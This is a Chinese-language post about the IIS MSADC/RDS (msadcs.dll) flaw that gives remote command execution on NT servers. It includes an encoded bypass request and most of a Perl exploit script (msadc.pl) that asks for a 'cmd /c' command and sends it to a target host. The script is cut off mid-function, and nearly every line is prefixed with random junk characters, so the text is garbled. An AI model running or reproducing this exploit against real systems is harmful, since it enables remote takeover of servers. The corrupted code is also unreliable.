IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
+!Ag n) Q&a<9e& 涉及程序:
d~$t{46 Microsoft NT server
SLB iQd. \>dG' 描述:
#,{v Js~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
rzj'!~>U >c>ar>4xF 详细:
HliY 如果你没有时间读详细内容的话,就删除:
=gyK*F(RK c:\Program Files\Common Files\System\Msadc\msadcs.dll
5h7DVr! 有关的安全问题就没有了。
7+-}8&syu Rp9iX~A`e 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
S60`'!y 9h=WWu', 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
F
RUt}* 关于利用ODBC远程漏洞的描述,请参看:
Dv{AZyqe l7um9@[4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;.a)r 8rNxd=! 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
b4PK http://www.microsoft.com/security/bulletins/MS99-025faq.asp "n-xsAG w2V E_ 这里不再论述。
n_2LkW<? $&C%C\(>D 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@V u[Tg}J JPzPL\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
.8~ x;P6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
3Ab$ J>v>6OC6i u8=|{)yL #将下面这段保存为txt文件,然后: "perl -x 文件名"
qT%E[qDS I2Q?7p #!perl
zwHsdB=v #
Y[,C1, # MSADC/RDS 'usage' (aka exploit) script
*~X\c Z #
Ms3/P| {"p # by rain.forest.puppy
4B
pm{b #
6>%NL"* ] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<O&s 'A[ # beta test and find errors!
T^SOq:m& gE(03SX use Socket; use Getopt::Std;
K)Ka"H getopts("e:vd:h:XR", \%args);
Rznr9L vM8]fSc print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
/n=/WGl |u=57II#xK if (!defined $args{h} && !defined $args{R}) {
jqmP^ZS print qq~
!4fL|0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
YJ`>&AJ -h <host> = host you want to scan (ip or domain)
D1a2|^zt
-d <seconds> = delay between calls, default 1 second
eU*hqy?0 -X = dump Index Server path table, if available
h2K -v = verbose
k0|InP7 -e = external dictionary file for step 5
#=m5*}= ]~,'[gWb Or a -R will resume a command session
n$iz ;pq4El_ ~; exit;}
(Zkt2[E` Yr@ @ty $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
.kV/0!q? if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
g5`YUr+3?h if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
WOoVVjMM if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#,C{?0! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
SM?<woY=* if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
d7Z\ u]-$]zIH if (!defined $args{R}){ $ret = &has_msadc;
1+zax*gO- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
wvY$s; T8 k o P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
nMqU6X>P! . "cmd /c ";
NU"X*g-x^ $in=<STDIN>; chomp $in;
Zs)9OJu $command="cmd /c " . $in ;
S7]cF5N *2Kte'+q if (defined $args{R}) {&load; exit;}
oizoKwp% DoA f,9|_ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
aQuENsB &try_btcustmr;
-#h
\8Xl lU3wIB print "\nStep 2: Trying to make our own DSN...";
u5,<.#EVY &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JM0)x}]+ _Yv9u'q" print "\nStep 3: Trying known DSNs...";
+ `xp+Q &known_dsn;
DzMk eX Zf! 7pM print "\nStep 4: Trying known .mdbs...";
H>?@nYP &known_mdb;
5sRNqTIr ?/D#ql7 if (defined $args{e}){
,KWeW^z'7 print "\nStep 5: Trying dictionary of DSN names...";
[;}c@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?Eed#pb_ ? IWS print "Sorry Charley...maybe next time?\n";
w*x}4wW exit;
F);C?SW" b
$!l*r ##############################################################################
a+d|9y/k Uz6B\-(0p sub sendraw { # ripped and modded from whisker
6gn|WO=Wf sleep($delay); # it's a DoS on the server! At least on mine...
mvnK)R_ my ($pstr)=@_;
x.aUuC,$x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gKnAw+u\ die("Socket problems\n");
_*_zyWW_j if(connect(S,pack "SnA4x8",2,80,$target)){
uxBk7E%6 select(S); $|=1;
HukHZ;5 print $pstr; my @in=<S>;
V=U %P[S select(STDOUT); close(S);
Aka`L:k return @in;
$J+$8pA } else { die("Can't connect...\n"); }}
HD|5:f AqA :Wln$L$ ##############################################################################
UA^E^$f: ?hO*~w;UU| sub make_header { # make the HTTP request
E^s>S,U[y my $msadc=<<EOT
b/)UN*~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
se-}d.PwL User-Agent: ACTIVEDATA
*)Y;`Yg$ Host: $ip
q\\J9`Q$J Content-Length: $clen
mmi~A< Connection: Keep-Alive
p<